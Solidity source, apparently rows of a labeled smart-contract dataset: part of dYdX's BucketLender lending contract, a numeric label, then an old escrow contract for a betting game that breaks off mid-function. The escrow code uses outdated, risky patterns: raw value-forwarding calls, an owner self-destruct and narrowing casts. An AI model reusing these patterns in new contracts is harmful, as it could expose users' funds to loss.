fillLoanOfferingAddresses(loanOffering, addresses);
fillLoanOfferingValues256(loanOffering, values256);
fillLoanOfferingValues32(loanOffering, values32);
loanOffering.signature = signature;
return loanOffering;
}
function fillLoanOfferingAddresses(
MarginCommon.LoanOffering memory loanOffering,
address[9] addresses
)
private
pure
{
loanOffering.owedToken = addresses[0];
loanOffering.heldToken = addresses[1];
loanOffering.payer = addresses[2];
loanOffering.owner = addresses[3];
loanOffering.taker = addresses[4];
loanOffering.positionOwner = addresses[5];
loanOffering.feeRecipient = addresses[6];
loanOffering.lenderFeeToken = addresses[7];
loanOffering.takerFeeToken = addresses[8];
}
function fillLoanOfferingValues256(
MarginCommon.LoanOffering memory loanOffering,
uint256[7] values256
)
private
pure
{
loanOffering.rates.maxAmount = values256[0];
loanOffering.rates.minAmount = values256[1];
loanOffering.rates.minHeldToken = values256[2];
loanOffering.rates.lenderFee = values256[3];
loanOffering.rates.takerFee = values256[4];
loanOffering.expirationTimestamp = values256[5];
loanOffering.salt = values256[6];
}
function fillLoanOfferingValues32(
MarginCommon.LoanOffering memory loanOffering,
uint32[4] values32
)
private
pure
{
loanOffering.callTimeLimit = values32[0];
loanOffering.maxDuration = values32[1];
loanOffering.rates.interestRate = values32[2];
loanOffering.rates.interestPeriod = values32[3];
}
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract BucketLender is
Ownable,
OnlyMargin,
LoanOwner,
IncreaseLoanDelegator,
MarginCallDelegator,
CancelMarginCallDelegator,
ForceRecoverCollateralDelegator,
LoanOfferingParser,
LoanOfferingVerifier,
ReentrancyGuard
{
using SafeMath for uint256;
using TokenInteract for address;
event Deposit(
address indexed beneficiary,
uint256 bucket,
uint256 amount,
uint256 weight
);
event Withdraw(
address indexed withdrawer,
uint256 bucket,
uint256 weight,
uint256 owedTokenWithdrawn,
uint256 heldTokenWithdrawn
);
event PrincipalIncreased(
uint256 principalTotal,
uint256 bucketNumber,
uint256 principalForBucket,
uint256 amount
);
event PrincipalDecreased(
uint256 principalTotal,
uint256 bucketNumber,
uint256 principalForBucket,
uint256 amount
);
event AvailableIncreased(
uint256 availableTotal,
uint256 bucketNumber,
uint256 availableForBucket,
uint256 amount
);
event AvailableDecreased(
uint256 availableTotal,
uint256 bucketNumber,
uint256 availableForBucket,
uint256 amount
);
mapping(uint256 => uint256) public availableForBucket;
uint256 public availableTotal;
mapping(uint256 => uint256) public principalForBucket;
uint256 public principalTotal;
mapping(uint256 => mapping(address => uint256)) public weightForBucketForAccount;
mapping(uint256 => uint256) public weightForBucket;
uint256 public criticalBucket = 0;
uint256 public cachedRepaidAmount = 0;
bool public wasForceClosed = false;
bytes32 public POSITION_ID;
address public HELD_TOKEN;
address public OWED_TOKEN;
uint32 public BUCKET_TIME;
uint32 public INTEREST_RATE;
uint32 public INTEREST_PERIOD;
uint32 public MAX_DURATION;
uint32 public CALL_TIMELIMIT;
uint32 public MIN_HELD_TOKEN_NUMERATOR;
uint32 public MIN_HELD_TOKEN_DENOMINATOR;
mapping(address => bool) public TRUSTED_MARGIN_CALLERS;
mapping(address => bool) public TRUSTED_WITHDRAWERS;
constructor(
address margin,
bytes32 positionId,
address heldToken,
address owedToken,
uint32[7] parameters,
address[] trustedMarginCallers,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
HELD_TOKEN = heldToken;
OWED_TOKEN = owedToken;
require(
parameters[0] != 0,
"BucketLender#constructor: BUCKET_TIME cannot be zero"
);
BUCKET_TIME = parameters[0];
INTEREST_RATE = parameters[1];
INTEREST_PERIOD = parameters[2];
MAX_DURATION = parameters[3];
CALL_TIMELIMIT = parameters[4];
MIN_HELD_TOKEN_NUMERATOR = parameters[5];
MIN_HELD_TOKEN_DENOMINATOR = parameters[6];
uint256 i = 0;
for (i = 0; i < trustedMarginCallers.length; i++) {
TRUSTED_MARGIN_CALLERS[trustedMarginCallers[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
OWED_TOKEN.approve(
Margin(margin).getTokenProxyAddress(),
MathHelpers.maxUint256()
);
}
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"BucketLender#onlyPosition: Incorrect position"
);
_;
}
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
Margin(DYDX_MARGIN).containsPosition(POSITION_ID),
"BucketLender#verifyLoanOffering: This contract should not open a new position"
);
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32,
signature
);
assert(loanOffering.owedToken == OWED_TOKEN);
assert(loanOffering.heldToken == HELD_TOKEN);
assert(loanOffering.payer == address(this));
assert(loanOffering.owner == address(this));
require(
loanOffering.taker == address(0),
"BucketLender#verifyLoanOffering: loanOffering.taker is non-zero"
);
require(
loanOffering.feeRecipient == address(0),
"BucketLender#verifyLoanOffering: loanOffering.feeRecipient is non-zero"
);
require(
loanOffering.positionOwner == address(0),
"BucketLender#verifyLoanOffering: loanOffering.positionOwner is non-zero"
);
require(
loanOffering.lenderFeeToken == address(0),
"BucketLender#verifyLoanOffering: loanOffering.lenderFeeToken is non-zero"
);
require(
loanOffering.takerFeeToken == address(0),
"BucketLender#verifyLoanOffering: loanOffering.takerFeeToken is non-zero"
);
require(
loanOffering.rates.maxAmount == MathHelpers.maxUint256(),
"BucketLender#verifyLoanOffering: loanOffering.maxAmount is incorrect"
);
require(
loanOffering.rates.minAmount == 0,
"BucketLender#verifyLoanOffering: loanOffering.minAmount is non-zero"
);
require(
loanOffering.rates.minHeldToken == 0,
"BucketLender#verifyLoanOffering: loanOffering.minHeldToken is non-zero"
);
require(
loanOffering.rates.lenderFee == 0,
"BucketLender#verifyLoanOffering: loanOffering.lenderFee is non-zero"
);
require(
loanOffering.rates.takerFee == 0,
"BucketLender#verifyLoanOffering: loanOffering.takerFee is non-zero"
);
require(
loanOffering.expirationTimestamp == MathHelpers.maxUint256(),
"BucketLender#verifyLoanOffering: expirationTimestamp is incorrect"
);
require(
loanOffering.salt == 0,
"BucketLender#verifyLoanOffering: loanOffering.salt is non-zero"
);
require(
loanOffering.callTimeLimit == MathHelpers.maxUint32(),
"BucketLender#verifyLoanOffering: loanOffering.callTimelimit is incorrect"
);
require(
loanOffering.maxDuration == MathHelpers.maxUint32(),
"BucketLender#verifyLoanOffering: loanOffering.maxDuration is incorrect"
);
assert(loanOffering.rates.interestRate == INTEREST_RATE);
assert(loanOffering.rates.interestPeriod == INTEREST_PERIOD);
return address(this);
}
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
uint256 initialPrincipal = position.principal;
uint256 minHeldToken = MathHelpers.getPartialAmount(
uint256(MIN_HELD_TOKEN_NUMERATOR),
uint256(MIN_HELD_TOKEN_DENOMINATOR),
initialPrincipal
);
assert(initialPrincipal > 0);
assert(principalTotal == 0);
assert(from != address(this));
require(
position.owedToken == OWED_TOKEN,
"BucketLender#receiveLoanOwnership: Position owedToken mismatch"
);
require(
position.heldToken == HELD_TOKEN,
"BucketLender#receiveLoanOwnership: Position heldToken mismatch"
);
require(
position.maxDuration == MAX_DURATION,
"BucketLender#receiveLoanOwnership: Position maxDuration mismatch"
);
require(
position.callTimeLimit == CALL_TIMELIMIT,
"BucketLender#receiveLoanOwnership: Position callTimeLimit mismatch"
);
require(
position.interestRate == INTEREST_RATE,
"BucketLender#receiveLoanOwnership: Position interestRate mismatch"
);
require(
position.interestPeriod == INTEREST_PERIOD,
"BucketLender#receiveLoanOwnership: Position interestPeriod mismatch"
);
require(
Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID) >= minHeldToken,
"BucketLender#receiveLoanOwnership: Not enough heldToken as collateral"
);
principalForBucket[0] = initialPrincipal;
principalTotal = initialPrincipal;
weightForBucket[0] = weightForBucket[0].add(initialPrincipal);
weightForBucketForAccount[0][from] =
weightForBucketForAccount[0][from].add(initialPrincipal);
return address(this);
}
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
Margin margin = Margin(DYDX_MARGIN);
require(
payer == address(this),
"BucketLender#increaseLoanOnBehalfOf: Other lenders cannot lend for this position"
);
require(
!margin.isPositionCalled(POSITION_ID),
"BucketLender#increaseLoanOnBehalfOf: No lending while the position is margin-called"
);
uint256 principalAfterIncrease = margin.getPositionPrincipal(POSITION_ID);
uint256 principalBeforeIncrease = principalAfterIncrease.sub(principalAdded);
accountForClose(principalTotal.sub(principalBeforeIncrease));
accountForIncrease(principalAdded, lentAmount);
assert(principalTotal == principalAfterIncrease);
return address(this);
}
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
TRUSTED_MARGIN_CALLERS[caller],
"BucketLender#marginCallOnBehalfOf: Margin-caller must be trusted"
);
require(
depositAmount == 0,
"BucketLender#marginCallOnBehalfOf: Deposit amount must be zero"
);
return address(this);
}
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
require(
TRUSTED_MARGIN_CALLERS[canceler],
"BucketLender#cancelMarginCallOnBehalfOf: Margin-call-canceler must be trusted"
);
return address(this);
}
function forceRecoverCollateralOnBehalfOf(
address ,
bytes32 positionId,
address recipient
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
return forceRecoverCollateralInternal(recipient);
}
function rebalanceBuckets()
external
nonReentrant
{
rebalanceBucketsInternal();
}
function deposit(
address beneficiary,
uint256 amount
)
external
nonReentrant
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
bytes32 positionId = POSITION_ID;
require(
beneficiary != address(0),
"BucketLender#deposit: Beneficiary cannot be the zero address"
);
require(
amount != 0,
"BucketLender#deposit: Cannot deposit zero tokens"
);
require(
!margin.isPositionClosed(positionId),
"BucketLender#deposit: Cannot deposit after the position is closed"
);
require(
!margin.isPositionCalled(positionId),
"BucketLender#deposit: Cannot deposit while the position is margin-called"
);
rebalanceBucketsInternal();
OWED_TOKEN.transferFrom(
msg.sender,
address(this),
amount
);
uint256 bucket = getCurrentBucket();
uint256 effectiveAmount = availableForBucket[bucket].add(getBucketOwedAmount(bucket));
uint256 weightToAdd = 0;
if (effectiveAmount == 0) {
weightToAdd = amount;
} else {
weightToAdd = MathHelpers.getPartialAmount(
amount,
effectiveAmount,
weightForBucket[bucket]
);
}
require(
weightToAdd != 0,
"BucketLender#deposit: Cannot deposit for zero weight"
);
updateAvailable(bucket, amount, true);
weightForBucketForAccount[bucket][beneficiary] =
weightForBucketForAccount[bucket][beneficiary].add(weightToAdd);
weightForBucket[bucket] = weightForBucket[bucket].add(weightToAdd);
emit Deposit(
beneficiary,
bucket,
amount,
weightToAdd
);
return bucket;
}
function withdraw(
uint256[] buckets,
uint256[] maxWeights,
address onBehalfOf
)
external
nonReentrant
returns (uint256, uint256)
{
require(
buckets.length == maxWeights.length,
"BucketLender#withdraw: The lengths of the input arrays must match"
);
if (onBehalfOf != msg.sender) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"BucketLender#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
rebalanceBucketsInternal();
uint256 lockedBucket = 0;
if (
Margin(DYDX_MARGIN).containsPosition(POSITION_ID) &&
criticalBucket == getCurrentBucket()
) {
lockedBucket = criticalBucket;
}
uint256[2] memory results;
uint256 maxHeldToken = 0;
if (wasForceClosed) {
maxHeldToken = HELD_TOKEN.balanceOf(address(this));
}
for (uint256 i = 0; i < buckets.length; i++) {
uint256 bucket = buckets[i];
if ((bucket != 0) && (bucket == lockedBucket)) {
continue;
}
(uint256 owedTokenForBucket, uint256 heldTokenForBucket) = withdrawSingleBucket(
onBehalfOf,
bucket,
maxWeights[i],
maxHeldToken
);
results[0] = results[0].add(owedTokenForBucket);
results[1] = results[1].add(heldTokenForBucket);
}
OWED_TOKEN.transfer(msg.sender, results[0]);
HELD_TOKEN.transfer(msg.sender, results[1]);
return (results[0], results[1]);
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
rebalanceBucketsInternal();
uint256 amount = token.balanceOf(address(this));
if (token == OWED_TOKEN) {
amount = amount.sub(availableTotal);
} else if (token == HELD_TOKEN) {
require(
!wasForceClosed,
"BucketLender#withdrawExcessToken: heldToken cannot be withdrawn if force-closed"
);
}
token.transfer(to, amount);
return amount;
}
function getCurrentBucket()
public
view
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
bytes32 positionId = POSITION_ID;
uint32 bucketTime = BUCKET_TIME;
assert(!margin.isPositionClosed(positionId));
if (!margin.containsPosition(positionId)) {
return 0;
}
uint256 startTimestamp = margin.getPositionStartTimestamp(positionId);
return block.timestamp.sub(startTimestamp).div(bucketTime).add(1);
}
function getBucketOwedAmount(
uint256 bucket
)
public
view
returns (uint256)
{
if (Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
return 0;
}
uint256 lentPrincipal = principalForBucket[bucket];
if (lentPrincipal == 0) {
return 0;
}
uint256 owedAmount = Margin(DYDX_MARGIN).getPositionOwedAmountAtTime(
POSITION_ID,
principalTotal,
uint32(block.timestamp)
);
return MathHelpers.getPartialAmount(
lentPrincipal,
principalTotal,
owedAmount
);
}
function forceRecoverCollateralInternal(
address recipient
)
internal
returns (address)
{
require(
recipient == address(this),
"BucketLender#forceRecoverCollateralOnBehalfOf: Recipient must be this contract"
);
rebalanceBucketsInternal();
wasForceClosed = true;
return address(this);
}
function rebalanceBucketsInternal()
private
{
if (wasForceClosed) {
return;
}
uint256 marginPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(POSITION_ID);
accountForClose(principalTotal.sub(marginPrincipal));
assert(principalTotal == marginPrincipal);
}
function accountForClose(
uint256 principalRemoved
)
private
{
if (principalRemoved == 0) {
return;
}
uint256 newRepaidAmount = Margin(DYDX_MARGIN).getTotalOwedTokenRepaidToLender(POSITION_ID);
assert(newRepaidAmount.sub(cachedRepaidAmount) >= principalRemoved);
uint256 principalToSub = principalRemoved;
uint256 availableToAdd = newRepaidAmount.sub(cachedRepaidAmount);
uint256 criticalBucketTemp = criticalBucket;
for (
uint256 bucket = criticalBucketTemp;
principalToSub > 0;
bucket--
) {
assert(bucket <= criticalBucketTemp);
uint256 principalTemp = Math.min256(principalToSub, principalForBucket[bucket]);
if (principalTemp == 0) {
continue;
}
uint256 availableTemp = MathHelpers.getPartialAmount(
principalTemp,
principalToSub,
availableToAdd
);
updateAvailable(bucket, availableTemp, true);
updatePrincipal(bucket, principalTemp, false);
principalToSub = principalToSub.sub(principalTemp);
availableToAdd = availableToAdd.sub(availableTemp);
criticalBucketTemp = bucket;
}
assert(principalToSub == 0);
assert(availableToAdd == 0);
setCriticalBucket(criticalBucketTemp);
cachedRepaidAmount = newRepaidAmount;
}
function accountForIncrease(
uint256 principalAdded,
uint256 lentAmount
)
private
{
require(
lentAmount <= availableTotal,
"BucketLender#accountForIncrease: No lending not-accounted-for funds"
);
uint256 principalToAdd = principalAdded;
uint256 availableToSub = lentAmount;
uint256 criticalBucketTemp;
uint256 lastBucket = getCurrentBucket();
for (
uint256 bucket = criticalBucket;
principalToAdd > 0;
bucket++
) {
assert(bucket <= lastBucket);
uint256 availableTemp = Math.min256(availableToSub, availableForBucket[bucket]);
if (availableTemp == 0) {
continue;
}
uint256 principalTemp = MathHelpers.getPartialAmount(
availableTemp,
availableToSub,
principalToAdd
);
updateAvailable(bucket, availableTemp, false);
updatePrincipal(bucket, principalTemp, true);
principalToAdd = principalToAdd.sub(principalTemp);
availableToSub = availableToSub.sub(availableTemp);
criticalBucketTemp = bucket;
}
assert(principalToAdd == 0);
assert(availableToSub == 0);
setCriticalBucket(criticalBucketTemp);
}
function withdrawSingleBucket(
address onBehalfOf,
uint256 bucket,
uint256 maxWeight,
uint256 maxHeldToken
)
private
returns (uint256, uint256)
{
uint256 bucketWeight = weightForBucket[bucket];
if (bucketWeight == 0) {
return (0, 0);
}
uint256 userWeight = weightForBucketForAccount[bucket][onBehalfOf];
uint256 weightToWithdraw = Math.min256(maxWeight, userWeight);
if (weightToWithdraw == 0) {
return (0, 0);
}
weightForBucket[bucket] = weightForBucket[bucket].sub(weightToWithdraw);
weightForBucketForAccount[bucket][onBehalfOf] = userWeight.sub(weightToWithdraw);
uint256 owedTokenToWithdraw = withdrawOwedToken(
bucket,
weightToWithdraw,
bucketWeight
);
uint256 heldTokenToWithdraw = withdrawHeldToken(
bucket,
weightToWithdraw,
bucketWeight,
maxHeldToken
);
emit Withdraw(
onBehalfOf,
bucket,
weightToWithdraw,
owedTokenToWithdraw,
heldTokenToWithdraw
);
return (owedTokenToWithdraw, heldTokenToWithdraw);
}
function withdrawOwedToken(
uint256 bucket,
uint256 userWeight,
uint256 bucketWeight
)
private
returns (uint256)
{
uint256 owedTokenToWithdraw = MathHelpers.getPartialAmount(
userWeight,
bucketWeight,
availableForBucket[bucket].add(getBucketOwedAmount(bucket))
);
require(
owedTokenToWithdraw <= availableForBucket[bucket],
"BucketLender#withdrawOwedToken: There must be enough available owedToken"
);
updateAvailable(bucket, owedTokenToWithdraw, false);
return owedTokenToWithdraw;
}
function withdrawHeldToken(
uint256 bucket,
uint256 userWeight,
uint256 bucketWeight,
uint256 maxHeldToken
)
private
returns (uint256)
{
if (maxHeldToken == 0) {
return 0;
}
uint256 principalForBucketForAccount = MathHelpers.getPartialAmount(
userWeight,
bucketWeight,
principalForBucket[bucket]
);
uint256 heldTokenToWithdraw = MathHelpers.getPartialAmount(
principalForBucketForAccount,
principalTotal,
maxHeldToken
);
updatePrincipal(bucket, principalForBucketForAccount, false);
return heldTokenToWithdraw;
}
function setCriticalBucket(
uint256 bucket
)
private
{
if (criticalBucket == bucket) {
return;
}
criticalBucket = bucket;
}
function updateAvailable(
uint256 bucket,
uint256 amount,
bool increase
)
private
{
if (amount == 0) {
return;
}
uint256 newTotal;
uint256 newForBucket;
if (increase) {
newTotal = availableTotal.add(amount);
newForBucket = availableForBucket[bucket].add(amount);
emit AvailableIncreased(newTotal, bucket, newForBucket, amount);
} else {
newTotal = availableTotal.sub(amount);
newForBucket = availableForBucket[bucket].sub(amount);
emit AvailableDecreased(newTotal, bucket, newForBucket, amount);
}
availableTotal = newTotal;
availableForBucket[bucket] = newForBucket;
}
function updatePrincipal(
uint256 bucket,
uint256 amount,
bool increase
)
private
{
if (amount == 0) {
return;
}
uint256 newTotal;
uint256 newForBucket;
if (increase) {
newTotal = principalTotal.add(amount);
newForBucket = principalForBucket[bucket].add(amount);
emit PrincipalIncreased(newTotal, bucket, newForBucket, amount);
} else {
newTotal = principalTotal.sub(amount);
newForBucket = principalForBucket[bucket].sub(amount);
emit PrincipalDecreased(newTotal, bucket, newForBucket, amount);
}
principalTotal = newTotal;
principalForBucket[bucket] = newForBucket;
}
}
contract BucketLenderWithRecoveryDelay is BucketLender
{
uint256 public RECOVERY_DELAY;
constructor(
address margin,
bytes32 positionId,
address heldToken,
address owedToken,
uint32[7] parameters,
address[] trustedMarginCallers,
address[] trustedWithdrawers,
uint256 recoveryDelay
)
public
BucketLender(
margin,
positionId,
heldToken,
owedToken,
parameters,
trustedMarginCallers,
trustedWithdrawers
)
{
RECOVERY_DELAY = recoveryDelay;
}
function forceRecoverCollateralOnBehalfOf(
address ,
bytes32 positionId,
address recipient
)
external
onlyMargin
nonReentrant
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, positionId);
uint256 positionEnd = uint256(position.startTimestamp).add(position.maxDuration);
if (position.callTimestamp > 0) {
uint256 marginCallEnd = uint256(position.callTimestamp).add(position.callTimeLimit);
positionEnd = Math.min256(positionEnd, marginCallEnd);
}
require (
block.timestamp >= positionEnd.add(RECOVERY_DELAY),
"BucketLenderWithRecoveryDelay#forceRecoverCollateralOnBehalfOf: Recovery too early"
);
return forceRecoverCollateralInternal(recipient);
}
} | 1 | 4,152 |
pragma solidity ^0.4.11;
contract E4RowEscrow {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
event StatEventA(string msg, address addr);
uint constant MAX_PLAYERS = 5;
enum EndReason {erWinner, erTimeOut, erCancel}
enum SettingStateValue {debug, release, lockedRelease}
struct gameInstance {
bool active;
bool allocd;
EndReason reasonEnded;
uint8 numPlayers;
uint128 totalPot;
uint128[5] playerPots;
address[5] players;
uint lastMoved;
}
struct arbiter {
mapping (uint => uint) gameIndexes;
bool registered;
bool locked;
uint8 numPlayers;
uint16 arbToken;
uint16 escFeePctX10;
uint16 arbFeePctX10;
uint32 gameSlots;
uint128 feeCap;
uint128 arbHoldover;
}
address public owner;
address public tokenPartner;
uint public numArbiters;
int numGamesStarted;
uint public numGamesCompleted;
uint public numGamesCanceled;
uint public numGamesTimedOut;
uint public houseFeeHoldover;
uint public lastPayoutTime;
uint public gameTimeOut;
uint public registrationFee;
uint public houseFeeThreshold;
uint public payoutInterval;
uint acctCallGas;
uint tokCallGas;
uint public startGameGas;
uint public winnerDecidedGas;
SettingStateValue public settingsState = SettingStateValue.debug;
mapping (address => arbiter) arbiters;
mapping (uint => address) arbiterTokens;
mapping (uint => address) arbiterIndexes;
mapping (uint => gameInstance) games;
function E4RowEscrow() public
{
owner = msg.sender;
}
function applySettings(SettingStateValue _state, uint _fee, uint _threshold, uint _timeout, uint _interval, uint _startGameGas, uint _winnerDecidedGas)
{
if (msg.sender != owner)
throw;
houseFeeThreshold = _threshold;
gameTimeOut = _timeout;
payoutInterval = _interval;
if (settingsState == SettingStateValue.lockedRelease) {
StatEvent("Settings Tweaked");
return;
}
settingsState = _state;
registrationFee = _fee;
acctCallGas = 21000;
tokCallGas = 360000;
startGameGas = _startGameGas;
winnerDecidedGas = _winnerDecidedGas;
StatEvent("Settings Changed");
}
function ArbTokFromHGame(uint _hGame) returns (uint _tok)
{
_tok = (_hGame / (2 ** 48)) & 0xffff;
}
function HaraKiri()
{
if ((msg.sender == owner) && (settingsState != SettingStateValue.lockedRelease))
suicide(tokenPartner);
else
StatEvent("Kill attempt failed");
}
function() payable {
StatEvent("thanks!");
houseFeeHoldover += msg.value;
}
function blackHole() payable {
StatEvent("thanks!#2");
}
function validPlayer(uint _hGame, address _addr) internal returns( bool _valid, uint _pidx)
{
_valid = false;
if (activeGame(_hGame)) {
for (uint i = 0; i < games[_hGame].numPlayers; i++) {
if (games[_hGame].players[i] == _addr) {
_valid=true;
_pidx = i;
break;
}
}
}
}
function validArb(address _addr, uint _tok) internal returns( bool _valid)
{
_valid = false;
if ((arbiters[_addr].registered)
&& (arbiters[_addr].arbToken == _tok))
_valid = true;
}
function validArb2(address _addr) internal returns( bool _valid)
{
_valid = false;
if (arbiters[_addr].registered)
_valid = true;
}
function arbLocked(address _addr) internal returns( bool _locked)
{
_locked = false;
if (validArb2(_addr))
_locked = arbiters[_addr].locked;
}
function activeGame(uint _hGame) internal returns( bool _valid)
{
_valid = false;
if ((_hGame > 0)
&& (games[_hGame].active))
_valid = true;
}
function registerArbiter(uint _numPlayers, uint _arbToken, uint _escFeePctX10, uint _arbFeePctX10, uint _feeCap) public payable
{
if (msg.value != registrationFee) {
throw;
}
if (_arbToken == 0) {
throw;
}
if (arbTokenExists(_arbToken & 0xffff)) {
throw;
}
if (arbiters[msg.sender].registered) {
throw;
}
if (_numPlayers > MAX_PLAYERS) {
throw;
}
if (_escFeePctX10 < 20) {
throw;
}
if (_arbFeePctX10 > 10) {
throw;
}
arbiters[msg.sender].locked = false;
arbiters[msg.sender].numPlayers = uint8(_numPlayers);
arbiters[msg.sender].escFeePctX10 = uint8(_escFeePctX10);
arbiters[msg.sender].arbFeePctX10 = uint8(_arbFeePctX10);
arbiters[msg.sender].arbToken = uint16(_arbToken & 0xffff);
arbiters[msg.sender].feeCap = uint128(_feeCap);
arbiters[msg.sender].registered = true;
arbiterTokens[(_arbToken & 0xffff)] = msg.sender;
arbiterIndexes[numArbiters++] = msg.sender;
if (tokenPartner != address(0)) {
if (!tokenPartner.call.gas(tokCallGas).value(msg.value)()) {
throw;
}
} else {
houseFeeHoldover += msg.value;
}
StatEventI("Arb Added", _arbToken);
}
function startGame(uint _hGame, int _hkMax, address[] _players) public
{
uint ntok = ArbTokFromHGame(_hGame);
if (!validArb(msg.sender, ntok )) {
StatEvent("Invalid Arb");
return;
}
if (arbLocked(msg.sender)) {
StatEvent("Arb Locked");
return;
}
arbiter xarb = arbiters[msg.sender];
if (_players.length != xarb.numPlayers) {
StatEvent("Incorrect num players");
return;
}
gameInstance xgame = games[_hGame];
if (xgame.active) {
abortGame(_hGame, EndReason.erCancel);
} else if (_hkMax > 0) {
houseKeep(_hkMax, ntok);
}
if (!xgame.allocd) {
xgame.allocd = true;
xarb.gameIndexes[xarb.gameSlots++] = _hGame;
}
numGamesStarted++;
xgame.active = true;
xgame.lastMoved = now;
xgame.totalPot = 0;
xgame.numPlayers = xarb.numPlayers;
for (uint i = 0; i < _players.length; i++) {
xgame.players[i] = _players[i];
xgame.playerPots[i] = 0;
}
}
function abortGame(uint _hGame, EndReason _reason) private returns(bool _success)
{
gameInstance xgame = games[_hGame];
if (xgame.active) {
_success = true;
for (uint i = 0; i < xgame.numPlayers; i++) {
if (xgame.playerPots[i] > 0) {
address a = xgame.players[i];
uint nsend = xgame.playerPots[i];
xgame.playerPots[i] = 0;
if (!a.call.gas(acctCallGas).value(nsend)()) {
houseFeeHoldover += nsend;
StatEventA("Cannot Refund Address", a);
}
}
}
xgame.active = false;
xgame.reasonEnded = _reason;
if (_reason == EndReason.erCancel) {
numGamesCanceled++;
StatEvent("Game canceled");
} else if (_reason == EndReason.erTimeOut) {
numGamesTimedOut++;
StatEvent("Game timed out");
} else
StatEvent("Game aborted");
}
}
function winnerDecided(uint _hGame, address _winner, uint _winnerBal) public
{
if (!validArb(msg.sender, ArbTokFromHGame(_hGame))) {
StatEvent("Invalid Arb");
return;
}
var (valid, pidx) = validPlayer(_hGame, _winner);
if (!valid) {
StatEvent("Invalid Player");
return;
}
arbiter xarb = arbiters[msg.sender];
gameInstance xgame = games[_hGame];
if (xgame.playerPots[pidx] < _winnerBal) {
abortGame(_hGame, EndReason.erCancel);
return;
}
xgame.active = false;
xgame.reasonEnded = EndReason.erWinner;
numGamesCompleted++;
if (xgame.totalPot > 0) {
uint _escrowFee = (xgame.totalPot * xarb.escFeePctX10) / 1000;
uint _arbiterFee = (xgame.totalPot * xarb.arbFeePctX10) / 1000;
if ((_escrowFee + _arbiterFee) > xarb.feeCap) {
_escrowFee = xarb.feeCap * xarb.escFeePctX10 / (xarb.escFeePctX10 + xarb.arbFeePctX10);
_arbiterFee = xarb.feeCap * xarb.arbFeePctX10 / (xarb.escFeePctX10 + xarb.arbFeePctX10);
}
uint _payout = xgame.totalPot - (_escrowFee + _arbiterFee);
uint _gasCost = tx.gasprice * (startGameGas + winnerDecidedGas);
if (_gasCost > _payout)
_gasCost = _payout;
_payout -= _gasCost;
xarb.arbHoldover += uint128(_arbiterFee + _gasCost);
houseFeeHoldover += _escrowFee;
if ((houseFeeHoldover > houseFeeThreshold)
&& (now > (lastPayoutTime + payoutInterval))) {
uint ntmpho = houseFeeHoldover;
houseFeeHoldover = 0;
lastPayoutTime = now;
if (!tokenPartner.call.gas(tokCallGas).value(ntmpho)()) {
houseFeeHoldover = ntmpho;
StatEvent("House-Fee Error1");
}
}
if (_payout > 0) {
if (!_winner.call.gas(acctCallGas).value(uint(_payout))()) {
houseFeeHoldover += _payout;
StatEventI("Payout Error!", _hGame);
} else {
}
}
}
}
function handleBet(uint _hGame) public payable
{
address _arbAddr = arbiterTokens[ArbTokFromHGame(_hGame)];
if (_arbAddr == address(0)) {
throw;
}
var (valid, pidx) = validPlayer(_hGame, msg.sender);
if (!valid) {
throw;
}
gameInstance xgame = games[_hGame];
xgame.playerPots[pidx] += uint128(msg.value);
xgame.totalPot += uint128(msg.value);
}
function arbTokenExists(uint _tok) constant returns (bool _exists)
{
_exists = false;
if ((_tok > 0)
&& (arbiterTokens[_tok] != address(0))
&& arbiters[arbiterTokens[_tok]].registered)
_exists = true;
}
function getArbInfo(uint _tok) constant returns (address _addr, uint _escFeePctX10, uint _arbFeePctX10, uint _feeCap, uint _holdOver)
{
_addr = arbiterTokens[_tok];
arbiter xarb = arbiters[arbiterTokens[_tok]];
_escFeePctX10 = xarb.escFeePctX10;
_arbFeePctX10 = xarb.arbFeePctX10;
_feeCap = xarb.feeCap;
_holdOver = xarb.arbHoldover;
}
function houseKeep(int _max, uint _arbToken) public
{
uint gi;
address a;
int aborted = 0;
arbiter xarb = arbiters[msg.sender];
if (msg.sender == owner) {
for (uint ar = 0; (ar < numArbiters) && (aborted < _max) ; ar++) {
a = arbiterIndexes[ar];
xarb = arbiters[a];
